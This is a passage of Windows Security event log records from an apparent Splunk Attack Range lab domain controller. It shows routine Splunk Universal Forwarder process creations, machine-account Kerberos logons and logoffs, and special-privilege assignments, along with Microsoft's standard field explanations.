Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:04:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257039
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3b8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:04:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257040
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7a4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:04:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257042
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb90
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:04:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257041
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9f0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:04:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257045
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x49DE71

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:04:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257044
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x49DE71
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59317

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:04:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257043
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x49DE71

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:05:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257047
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x554
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:05:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257046
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa98
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:05:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257048
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x718
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:05:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257049
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe94
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:05:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257050
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13a0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:05:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257052
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1248
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:05:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257051
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc54
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:05:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257055
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4A13C4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:05:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257054
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4A13C4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59331

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:05:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257053
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4A13C4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:06:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257057
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc0c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:06:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257056
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8f4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:06:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257058
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd84
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:06:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257059
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1260
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:06:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257060
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
